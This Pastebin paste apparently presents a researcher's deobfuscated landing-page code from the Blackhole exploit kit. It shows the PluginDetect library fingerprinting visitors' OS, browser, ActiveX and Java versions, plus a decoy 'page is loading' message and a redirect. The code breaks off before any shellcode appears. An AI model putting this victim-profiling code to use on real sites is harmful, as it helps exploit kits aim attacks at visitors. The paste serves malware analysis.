Advertisement
unixfreaxjp

Blackhole OS/Browser Detect Plugin w/ShellCode Deobfs'ed

Sep 5th, 2012
110
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  2. function end_redirect(){
  3. window.location.href = 'h00p://www.google.com';
  4. }
  5. try {
  6. var PluginDetect = {
  7. version : "0.7.8", name : "PluginDetect", handler : function (c, b, a){
  8. return function (){
  9. c(b, a)
  10. }
  11. }
  12. , isDefined : function (b){
  13. return typeof b != "undefined"
  14. }
  15. , isArray : function (b){
  16. return (/array/i).test(Object.prototype.toString.call(b))
  17. }
  18. , isFunc : function (b){
  19. return typeof b == "function"
  20. }
  21. , isString : function (b){
  22. return typeof b == "string"
  23. }
  24. , isNum : function (b){
  25. return typeof b == "number"
  26. }
  27. , isStrNum : function (b){
  28. return (typeof b == "string" && (/\d/).test(b))
  29. }
  30. , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g,
  31. getNum : function (b, c){
  32. var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  33. exec(b) : null;
  34. return a ? a[0] : null
  35. }
  36. , compareNums : function (h, f, d){
  37. var e = this , c, b, a, g = parseInt;
  38. if (e.isStrNum(h) && e.isStrNum(f)){
  39. if (e.isDefined(d) && d.compareNums){
  40. return d.compareNums(h, f)
  41. }
  42. c = h.split(e.splitNumRegx);
  43. b = f.split(e.splitNumRegx);
  44. for (a = 0; a < Math.min(c.length, b.length);
  45. a ++ ){
  46. if (g(c[a], 10) > g(b[a], 10)){
  47. return 1
  48. }
  49. if (g(c[a], 10) < g(b[a], 10)){
  50. return - 1
  51. }
  52. }
  53. }
  54. return 0
  55. }
  56. , formatNum : function (b, c){
  57. var d = this , a, e;
  58. if (!d.isStrNum(b)){
  59. return null
  60. }
  61. if (!d.isNum(c)){
  62. c = 4
  63. }
  64. c--;
  65. e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  66. for (a = 0; a < 4; a ++ ){
  67. if (/^(0+)(.+)$/.test(e[a])){
  68. e[a] = RegExp.$2
  69. }
  70. if (a > c ||! (/\d/).test(e[a])){
  71. e[a] = "0"
  72. }
  73. }
  74. return e.slice(0, 4).join(",")
  75. }
  76. , $$hasMimeType : function (a){
  77. return function (c){
  78. if (!a.isIE && c){
  79. var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  80. for (b = 0; b < d.length; b ++ ){
  81. if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
  82. f = navigator.mimeTypes[d[b]];
  83. e = f ? f.enabledPlugin : 0;
  84. if (e && (e.name || e.description)){
  85. return f
  86. }
  87. }
  88. }
  89. }
  90. return null
  91. }
  92. }
  93. , findNavPlugin : function (l, e, c){
  94. var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  95. new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  96. for (f = 0; f < a.length; f ++ ){
  97. m = a[f].description || g;
  98. b = a[f].name || g;
  99. if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  100. test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  101. if (!k ||! (k.test(m) || k.test(b))){
  102. return a[f]
  103. }
  104. }
  105. }
  106. return null
  107. }
  108. , getMimeEnabledPlugin : function (k, m, c){
  109. var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a,
  110. l, d, j = e.isString(k) ? [k] : k;
  111. for (d = 0; d < j.length; d ++ ){
  112. if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
  113. l = f.description || h;
  114. a = f.name || h;
  115. if (b.test(l) || b.test(a)){
  116. if (!g ||! (g.test(l) || g.test(a))){
  117. return f
  118. }
  119. }
  120. }
  121. }
  122. return 0
  123. }
  124. , getPluginFileVersion : function (f, b){
  125. var h = this , e, d, g, a, c =- 1;
  126. if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  127. return b
  128. }
  129. if (!b){
  130. return e
  131. }
  132. e = h.formatNum(e);
  133. b = h.formatNum(b);
  134. d = b.split(h.splitNumRegx);
  135. g = e.split(h.splitNumRegx);
  136. for (a = 0; a < d.length; a ++ ){
  137. if (c >- 1 && a > c && d[a] != "0"){
  138. return b
  139. }
  140. if (g[a] != d[a]){
  141. if (c ==- 1){
  142. c = a
  143. }
  144. if (d[a] != "0"){
  145. return b
  146. }
  147. }
  148. }
  149. return e
  150. }
  151. , AXO : window.ActiveXObject, getAXO : function (a){
  152. var f = null, d, b = this , c = {
  153. }
  154. ;
  155. try {
  156. f = new b.AXO(a)
  157. }
  158. catch (d){
  159. }
  160. return f
  161. }
  162. , convertFuncs : function (f){
  163. var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  164. for (ain f){
  165. if (b.test(a)){
  166. try {
  167. g = a.slice(2);
  168. if (g.length > 0 &&! f[g]){
  169. f[g] = f[a](f);
  170. deletef[a]
  171. }
  172. }
  173. catch (d){
  174. }
  175. }
  176. }
  177. }
  178. , initObj : function (e, b, d){
  179. var a, c;
  180. if (e){
  181. if (e[b[0]] == 1 || d){
  182. for (a = 0; a < b.length; a = a + 2){
  183. e[b[a]] = b[a + 1]
  184. }
  185. }
  186. for (ain e){
  187. c = e[a];
  188. if (c && c[b[0]] == 1){
  189. this .initObj(c, b)
  190. }
  191. }
  192. }
  193. }
  194. , initScript : function (){
  195. var c = this , a = navigator, e = "/", f, i = a.userAgent || "", g = a.vendor || "",
  196. b = a.platform || "", h = a.product || "";
  197. c.initObj(c, ["$", c]);
  198. for (fin c.Plugins){
  199. if (c.Plugins[f]){
  200. c.initObj(c.Plugins[f], ["$", c, "$$", c.Plugins[f]], 1)
  201. }
  202. }
  203. ;
  204. c.OS = 100;
  205. if (b){
  206. var d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod",
  207. 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, ""
  208. , 100];
  209. for (f = d.length - 2; f >= 0; f = f - 2){
  210. if (d[f] && new RegExp(d[f], "i").test(b)){
  211. c.OS = d[f + 1];
  212. break
  213. }
  214. }
  215. }
  216. c.convertFuncs(c);
  217. c.head = (document.getElementsByTagName("head")[0] || document.getElementsByTagName(
  218. "body")[0] || document.body || null);
  219. c.isIE = (new Function("return " + e + "*@cc_on!@*" + e + "false"))();
  220. c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) :
  221. null ;
  222. c.ActiveXEnabled = false;
  223. if (c.isIE){
  224. var f, j = ["Msxml2.XMLh00p", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  225. "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  226. "Scripting.Dictionary", "wmplayer.ocx"];
  227. for (f = 0; f < j.length; f ++ ){
  228. if (c.getAXO(j[f])){
  229. c.ActiveXEnabled = true;
  230. break
  231. }
  232. }
  233. }
  234. c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
  235. c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 :
  236. "0.9") : null;
  237. c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  238. c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  239. c.isSafari = ((/Apple/i).test(g) || (!g &&! c.isChrome)) && (
  240. /Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
  241. c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(i) ? c.formatNum(
  242. RegExp.$1) : null;
  243. c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  244. c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ?
  245. parseFloat(RegExp.$1, 10) : null;
  246. c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  247. }
  248. , init : function (d){
  249. var c = this , b, d, a = {
  250. status :- 3, plugin : 0
  251. }
  252. ;
  253. if (!c.isString(d)){
  254. return a
  255. }
  256. if (d.length == 1){
  257. c.getVersionDelimiter = d;
  258. return a
  259. }
  260. d = d.toLowerCase().replace(/\s/g, "");
  261. b = c.Plugins[d];
  262. if (!b ||! b.getVersion){
  263. return a
  264. }
  265. a.plugin = b;
  266. if (!c.isDefined(b.installed)){
  267. b.installed = null;
  268. b.version = null;
  269. b.version0 = null;
  270. b.getVersionDone = null;
  271. b.pluginName = d
  272. }
  273. c.garbage = false;
  274. if (c.isIE &&! c.ActiveXEnabled && d !== "java"){
  275. a.status =- 2;
  276. return a
  277. }
  278. a.status = 1;
  279. return a
  280. }
  281. , fPush : function (b, a){
  282. var c = this ;
  283. if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0
  284. ])))){
  285. a.push(b)
  286. }
  287. }
  288. , callArray : function (b){
  289. var c = this , a;
  290. if (c.isArray(b)){
  291. for (a = 0; a < b.length; a ++ ){
  292. if (b[a] === null){
  293. return
  294. }
  295. c.call(b[a]);
  296. b[a] = null
  297. }
  298. }
  299. }
  300. , call : function (c){
  301. var b = this , a = b.isArray(c) ? c.length :- 1;
  302. if (a > 0 && b.isFunc(c[0])){
  303. c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  304. }
  305. else {
  306. if (b.isFunc(c)){
  307. c(b)
  308. }
  309. }
  310. }
  311. , getVersionDelimiter : ",", $$getVersion : function (a){
  312. return function (g, d, c){
  313. var e = a.init(g), f, b, h = {
  314. }
  315. ;
  316. if (e.status < 0){
  317. return null
  318. }
  319. ;
  320. f = e.plugin;
  321. if (f.getVersionDone != 1){
  322. f.getVersion(null, d, c);
  323. if (f.getVersionDone === null){
  324. f.getVersionDone = 1
  325. }
  326. }
  327. a.cleanup();
  328. b = (f.version || f.version0);
  329. b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  330. return b
  331. }
  332. }
  333. , cleanup : function (){
  334. var a = this ;
  335. if (a.garbage && a.isDefined(window.CollectGarbage)){
  336. window.CollectGarbage()
  337. }
  338. }
  339. , addWinEvent : function (d, c){
  340. var e = this , a = window, b;
  341. if (e.isFunc(c)){
  342. if (a.addEventListener){
  343. a.addEventListener(d, c, false)
  344. }
  345. else {
  346. if (a.attachEvent){
  347. a.attachEvent("on" + d, c)
  348. }
  349. else {
  350. b = a["on" + d];
  351. a["on" + d] = e.winHandler(c, b)
  352. }
  353. }
  354. }
  355. }
  356. , winHandler : function (d, c){
  357. return function (){
  358. d();
  359. if (typeof c == "function"){
  360. c()
  361. }
  362. }
  363. }
  364. , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a){
  365. var b = {
  366. }
  367. ;
  368. a.winLoaded = true;
  369. a.callArray(a.WLfuncs0);
  370. a.callArray(a.WLfuncs);
  371. if (a.onDoneEmptyDiv){
  372. a.onDoneEmptyDiv()
  373. }
  374. }
  375. , winLoaded : false, $$onWindowLoaded : function (a){
  376. return function (b){
  377. if (a.winLoaded){
  378. a.call(b)
  379. }
  380. else {
  381. a.fPush(b, a.WLfuncs)
  382. }
  383. }
  384. }
  385. , $$onDetectionDone : function (a){
  386. return function (h, g, c, b){
  387. var d = a.init(h), k, e, j = {
  388. }
  389. ;
  390. if (d.status ==- 3){
  391. return - 1
  392. }
  393. e = d.plugin;
  394. if (!a.isArray(e.funcs)){
  395. e.funcs = []
  396. }
  397. if (e.getVersionDone != 1){
  398. k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  399. }
  400. if (e.installed !=- 0.5 && e.installed != 0.5){
  401. a.call(g);
  402. return 1
  403. }
  404. if (e.NOTF){
  405. a.fPush(g, e.funcs);
  406. return 0
  407. }
  408. return 1
  409. }
  410. }
  411. , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv :
  412. function (){
  413. var d = this , b, h, c, a, f, g;
  414. if (d.div && d.div.childNodes){
  415. for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
  416. c = d.div.childNodes[b];
  417. if (c && c.childNodes){
  418. for (h = c.childNodes.length - 1; h >= 0; h -- ){
  419. g = c.childNodes[h];
  420. try {
  421. c.removeChild(g)
  422. }
  423. catch (f){
  424. }
  425. }
  426. }
  427. if (c){
  428. try {
  429. d.div.removeChild(c)
  430. }
  431. catch (f){
  432. }
  433. }
  434. }
  435. }
  436. if (!d.div){
  437. a = document.getElementById(d.divID);
  438. if (a){
  439. d.div = a
  440. }
  441. }
  442. if (d.div && d.div.parentNode){
  443. try {
  444. d.div.parentNode.removeChild(d.div)
  445. }
  446. catch (f){
  447. }
  448. d.div = null
  449. }
  450. }
  451. , DONEfuncs : [], onDoneEmptyDiv : function (){
  452. var c = this , a, b;
  453. if (!c.winLoaded){
  454. return
  455. }
  456. if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
  457. return
  458. }
  459. for (ain c){
  460. b = c[a];
  461. if (b && b.funcs){
  462. if (b.OTF == 3){
  463. return
  464. }
  465. if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
  466. return
  467. }
  468. }
  469. }
  470. for (a = 0; a < c.DONEfuncs.length; a ++ ){
  471. c.callArray(c.DONEfuncs)
  472. }
  473. c.emptyDiv()
  474. }
  475. , getWidth : function (c){
  476. if (c){
  477. var a = c.scrollWidth || c.offsetWidth, b = this ;
  478. if (b.isNum(a)){
  479. return a
  480. }
  481. }
  482. return - 1
  483. }
  484. , getTagStatus : function (m, g, a, b){
  485. var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d =
  486. g.span, i = c.getWidth(d);
  487. if (!k ||! h ||! d ||! c.getDOMobj(m)){
  488. return - 2
  489. }
  490. if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1){
  491. return 0
  492. }
  493. if (l >= i){
  494. return - 1
  495. }
  496. try {
  497. if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
  498. if (!m.winLoaded && c.winLoaded){
  499. return 1
  500. }
  501. if (m.winLoaded && c.isNum(b)){
  502. if (!c.isNum(m.count)){
  503. m.count = b
  504. }
  505. if (b - m.count >= 10){
  506. return 1
  507. }
  508. }
  509. }
  510. }
  511. catch (f){
  512. }
  513. return 0
  514. }
  515. , getDOMobj : function (g, a){
  516. var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  517. try {
  518. if (b && a){
  519. d.div.focus()
  520. }
  521. }
  522. catch (f){
  523. }
  524. return b ? c.firstChild : null
  525. }
  526. , setStyle : function (b, g){
  527. var f = b.style, a, d, c = this ;
  528. if (f && g){
  529. for (a = 0; a < g.length; a = a + 2){
  530. try {
  531. f[g[a]] = g[a + 1]
  532. }
  533. catch (d){
  534. }
  535. }
  536. }
  537. }
  538. , insertDivInBody : function (a, i){
  539. var h, f = this , b = "pd33993399", d = null, j = i ? window.top.document : window.
  540. document, c = "<", g = (j.getElementsByTagName("body")[0] || j.body);
  541. if (!g){
  542. try {
  543. j.write(c + 'div id="' + b + '">o' + c + "/div>");
  544. d = j.getElementById(b)
  545. }
  546. catch (h){
  547. }
  548. }
  549. g = (j.getElementsByTagName("body")[0] || j.body);
  550. if (g){
  551. if (g.firstChild && f.isDefined(g.insertBefore)){
  552. g.insertBefore(a, g.firstChild)
  553. }
  554. else {
  555. g.appendChild(a)
  556. }
  557. if (d){
  558. g.removeChild(d)
  559. }
  560. }
  561. else {
  562. }
  563. }
  564. , insertHTML : function (g, b, h, a, l){
  565. var m, n = document, k = this , q, p = n.createElement("span"), o, j, f = "<";
  566. var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  567. "0px", "visibility", "visible"];
  568. var i =
  569. "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  570. if (!k.isDefined(a)){
  571. a = ""
  572. }
  573. if (k.isString(g) && (/[^\s]/).test(g)){
  574. g = g.toLowerCase().replace(/\s/g, "");
  575. q = f + g + ' width="' + k.pluginSize + '" height="' + k.pluginSize + '" ';
  576. q += 'style="' + i + 'display:inline;" ';
  577. for (o = 0; o < b.length; o = o + 2){
  578. if (/[^\s]/.test(b[o + 1])){
  579. q += b[o] + '="' + b[o + 1] + '" '
  580. }
  581. }
  582. q += ">";
  583. for (o = 0; o < h.length; o = o + 2){
  584. if (/[^\s]/.test(h[o + 1])){
  585. q += f + 'param name="' + h[o] + '" value="' + h[o + 1] + '" />'
  586. }
  587. }
  588. q += a + f + "/" + g + ">"
  589. }
  590. else {
  591. q = a
  592. }
  593. if (!k.div){
  594. j = n.getElementById(k.divID);
  595. if (j){
  596. k.div = j
  597. }
  598. else {
  599. k.div = n.createElement("div");
  600. k.div.id = k.divID
  601. }
  602. k.setStyle(k.div, c.concat(["width", k.divWidth + "px", "height", (k.pluginSize +
  603. 3) + "px", "fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.pluginSize + 3)
  604. + "px", "verticalAlign", "baseline", "display", "block"]));
  605. if (!j){
  606. k.setStyle(k.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  607. k.insertDivInBody(k.div)
  608. }
  609. }
  610. if (k.div && k.div.parentNode){
  611. k.setStyle(p, c.concat(["fontSize", (k.pluginSize + 3) + "px", "lineHeight", (k.
  612. pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  613. try {
  614. p.innerHTML = q
  615. }
  616. catch (m){
  617. }
  618. ;
  619. try {
  620. k.div.appendChild(p)
  621. }
  622. catch (m){
  623. }
  624. ;
  625. return {
  626. span : p, winLoaded : k.winLoaded, tagName : g, outerHTML : q
  627. }
  628. }
  629. return {
  630. span : null, winLoaded : k.winLoaded, tagName : "", outerHTML : q
  631. }
  632. }
  633. , file : {
  634. $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d,
  635. f, c){
  636. var b = this , e = b.$, a;
  637. if (d && e.isDefined(c)){
  638. if (!d[b.any]){
  639. d[b.any] = []
  640. }
  641. if (!d[b.valid]){
  642. d[b.valid] = []
  643. }
  644. d[b.any].push(c);
  645. a = b.split(f, c);
  646. if (a){
  647. d[b.valid].push(a)
  648. }
  649. }
  650. }
  651. , getValidLength : function (a){
  652. return a && a[this .valid] ? a[this .valid].length : 0
  653. }
  654. , getAnyLength : function (a){
  655. return a && a[this .any] ? a[this .any].length : 0
  656. }
  657. , getValid : function (c, a){
  658. var b = this ;
  659. return c && c[b.valid] ? b.get(c[b.valid], a) : null
  660. }
  661. , getAny : function (c, a){
  662. var b = this ;
  663. return c && c[b.any] ? b.get(c[b.any], a) : null
  664. }
  665. , get : function (d, a){
  666. var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  667. return (b < 0 || b > c) ? null : d[b]
  668. }
  669. , split : function (g, c){
  670. var b = this , e = b.$, f = null, a, d;
  671. g = g ? g.replace(".", "\\.") : "";
  672. d = new RegExp("^(.*[^\\/])(" + g + "\\s*)$");
  673. if (e.isString(c) && d.test(c)){
  674. a = (RegExp.$1).split("/");
  675. f = {
  676. name : a[a.length - 1], ext : RegExp.$2, full : c
  677. }
  678. ;
  679. a[a.length - 1] = "";
  680. f.path = a.join("/")
  681. }
  682. return f
  683. }
  684. , z : 0
  685. }
  686. , Plugins : {
  687. java : {
  688. mimeType : ["application/x-java-applet", "application/x-java-vm",
  689. "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
  690. , navigator : {
  691. a : window.navigator.javaEnabled(), javaEnabled : function (){
  692. return this .a
  693. }
  694. , mimeObj : 0, pluginObj : 0
  695. }
  696. , OTF : null, minIEver : 7, debug : 0, debugEnable : function (){
  697. var a = this , b = a.$;
  698. a.debug = 1
  699. }
  700. , isDisabled : {
  701. $ : 1, DTK : function (){
  702. var a = this , c = a.$, b = a.$$;
  703. if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
  704. isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0"
  705. ) < 0)) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
  706. return 1
  707. }
  708. return 0
  709. }
  710. , AXO : function (){
  711. var a = this , c = a.$, b = a.$$;
  712. return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !==
  713. 0))
  714. }
  715. , navMime : function (){
  716. var b = this , d = b.$, c = b.$$, a = c.navigator;
  717. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  718. return 1
  719. }
  720. return 0
  721. }
  722. , navPlugin : function (){
  723. var b = this , d = b.$, c = b.$$, a = c.navigator;
  724. if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  725. return 1
  726. }
  727. return 0
  728. }
  729. , windowDotJava : function (){
  730. var a = this , c = a.$, b = a.$$;
  731. if (!window.java){
  732. return 1
  733. }
  734. if (c.OS == 2 && c.verOpera && c.verOpera < 9.2 && c.verOpera >= 9){
  735. return 1
  736. }
  737. if (c.verGecko && c.compareNums(c.verGecko, "1,9,0,0") < 0 && c.compareNums(c.
  738. verGecko, "1,8,0,0") >= 0){
  739. return 1
  740. }
  741. return 0
  742. }
  743. , allApplets : function (){
  744. var b = this , d = b.$, c = b.$$, a = c.navigator;
  745. if (d.OS >= 20){
  746. return 0
  747. }
  748. if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
  749. getProperty()[0]){
  750. return 1
  751. }
  752. if ((d.verGecko && d.compareNums(d.verGecko, d.formatNum("2")) < 0) &&! a.
  753. mimeObj &&! c.lang.System.getProperty()[0]){
  754. return 1
  755. }
  756. return 0
  757. }
  758. , AppletTag : function (){
  759. var b = this , d = b.$, c = b.$$, a = c.navigator;
  760. return d.isIE ?! a.javaEnabled() : 0
  761. }
  762. , ObjectTag : function (){
  763. var a = this , c = a.$, b = a.$$;
  764. return c.isIE ?! c.ActiveXEnabled : 0
  765. }
  766. , z : 0
  767. }
  768. , getVerifyTagsDefault : function (){
  769. var a = this , c = a.$, b = [1, 0, 1];
  770. if (c.OS >= 20){
  771. return b
  772. }
  773. if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && c.
  774. compareNums(c.verGecko, c.formatNum("2")) < 0) || (c.isSafari && (!c.verSafari ||
  775. c.compareNums(c.verSafari, c.formatNum("4")) < 0)) || (c.verOpera && c.verOpera <
  776. 10)){
  777. b = [1, 1, 1]
  778. }
  779. return b
  780. }
  781. , getVersion : function (j, g, i){
  782. var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null
  783. , l = null, c = null;
  784. if (b.getVersionDone === null){
  785. b.OTF = 0;
  786. k.mimeObj = d.hasMimeType(b.mimeType);
  787. if (k.mimeObj){
  788. k.pluginObj = k.mimeObj.enabledPlugin
  789. }
  790. if (h){
  791. h.begin()
  792. }
  793. }
  794. a.setVerifyTagsArray(i);
  795. d.file.save(b, ".jar", g);
  796. if (b.getVersionDone === 0){
  797. if (a.should_Insert_Query_Any()){
  798. e = a.insert_Query_Any();
  799. b.setPluginStatus(e[0], e[1], f)
  800. }
  801. return
  802. }
  803. if ((!f || b.debug) && b.DTK.query().version){
  804. f = b.DTK.version
  805. }
  806. if ((!f || b.debug) && b.navMime.query().version){
  807. f = b.navMime.version
  808. }
  809. if ((!f || b.debug) && b.navPlugin.query().version){
  810. f = b.navPlugin.version
  811. }
  812. if ((!f || b.debug) && b.AXO.query().version){
  813. f = b.AXO.version
  814. }
  815. if (b.nonAppletDetectionOk(f)){
  816. c = f
  817. }
  818. if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
  819. e = b.lang.System.getProperty();
  820. if (e[0]){
  821. f = e[0];
  822. c = e[0];
  823. l = e[1]
  824. }
  825. }
  826. b.setPluginStatus(c, l, f);
  827. if (a.should_Insert_Query_Any()){
  828. e = a.insert_Query_Any();
  829. if (e[0]){
  830. c = e[0];
  831. l = e[1]
  832. }
  833. }
  834. b.setPluginStatus(c, l, f)
  835. }
  836. , nonAppletDetectionOk : function (b){
  837. var d = this , e = d.$, a = d.navigator, c = 1;
  838. if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&!
  839. a.mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled
  840. )){
  841. c = 0
  842. }
  843. else {
  844. if (e.OS >= 20){
  845. }
  846. else {
  847. if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2
  848. ()){
  849. c = 0
  850. }
  851. }
  852. }
  853. return c
  854. }
  855. , setPluginStatus : function (d, f, a){
  856. var c = this , e = c.$, b;
  857. a = a || c.version0;
  858. if (c.OTF > 0){
  859. d = d || c.lang.System.getProperty()[0]
  860. }
  861. if (c.OTF < 3){
  862. b = d ? 1 : (a ?- 0.2 :- 1);
  863. if (c.installed === null || b > c.installed){
  864. c.installed = b
  865. }
  866. }
  867. if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.
  868. getProperty()[0]){
  869. c.installed = a ?- 0.2 :- 1
  870. }
  871. ;
  872. if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5){
  873. c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ?
  874. 0.5 :- 0.5
  875. }
  876. if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5)){
  877. if (d){
  878. c.installed = 1
  879. }
  880. else {
  881. if (c.NOTF.isJavaActive(1) == 1){
  882. if (a){
  883. c.installed = 1;
  884. d = a
  885. }
  886. else {
  887. c.installed = 0
  888. }
  889. }
  890. else {
  891. if (a){
  892. c.installed =- 0.2
  893. }
  894. else {
  895. c.installed =- 1
  896. }
  897. }
  898. }
  899. }
  900. ;
  901. if (a){
  902. c.version0 = e.formatNum(e.getNum(a))
  903. }
  904. if (d){
  905. c.version = e.formatNum(e.getNum(d))
  906. }
  907. if (f && e.isString(f)){
  908. c.vendor = f
  909. }
  910. if (!c.vendor){
  911. c.vendor = ""
  912. }
  913. if (c.verify && c.verify.isEnabled()){
  914. c.getVersionDone = 0
  915. }
  916. else {
  917. if (c.getVersionDone != 1){
  918. if (c.OTF < 2){
  919. c.getVersionDone = 0
  920. }
  921. else {
  922. c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  923. }
  924. }
  925. }
  926. }
  927. , DTK : {
  928. $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  929. Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  930. "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  931. "application/java-deployment-toolkit",
  932. "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled :
  933. function (){
  934. return this .$$.isDisabled.DTK()
  935. }
  936. , query : function (){
  937. var k = this , g = k.$, d = k.$$, j, l, h, m = {
  938. }
  939. , f = {
  940. }
  941. , a, c = null, i = null, b = (k.hasRun || k.disabled());
  942. k.hasRun = 1;
  943. if (b){
  944. return k
  945. }
  946. k.status = 0;
  947. if (g.isIE && g.verIE >= 6){
  948. for (l = 0; l < k.classID.length; l ++ ){
  949. k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  950. c = g.getDOMobj(k.HTML);
  951. try {
  952. if (c && c.jvms){
  953. break
  954. }
  955. }
  956. catch (j){
  957. }
  958. }
  959. }
  960. else {
  961. if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type){
  962. k.HTML = g.insertHTML("object", ["type", h.type], []);
  963. c = g.getDOMobj(k.HTML)
  964. }
  965. }
  966. if (c){
  967. try {
  968. a = c.jvms;
  969. if (a){
  970. i = a.getLength();
  971. if (g.isNum(i)){
  972. k.status = i > 0 ? 1 :- 1;
  973. for (l = 0; l < i; l ++ ){
  974. h = g.getNum(a.get(i - 1 - l).version);
  975. if (h){
  976. k.VERSIONS.push(h);
  977. f["a" + g.formatNum(h)] = 1
  978. }
  979. }
  980. }
  981. }
  982. }
  983. catch (j){
  984. }
  985. }
  986. h = 0;
  987. for (lin f){
  988. h ++
  989. }
  990. if (h && h !== k.VERSIONS.length){
  991. k.VERSIONS = []
  992. }
  993. if (k.VERSIONS.length){
  994. k.version = g.formatNum(k.VERSIONS[0])
  995. }
  996. ;
  997. return k
  998. }
  999. }
  1000. , AXO : {
  1001. $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function (){
  1002. return this .$$.isDisabled.AXO()
  1003. }
  1004. , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1
  1005. , 5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function (){
  1006. var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  1007. a.hasRun = 1;
  1008. if (c){
  1009. return a
  1010. }
  1011. var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4,
  1012. 2, 0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l = {
  1013. }
  1014. ;
  1015. if (e.verIE >= b.minIEver){
  1016. i = a.search(j, j, d);
  1017. if (i.length > 0 && d){
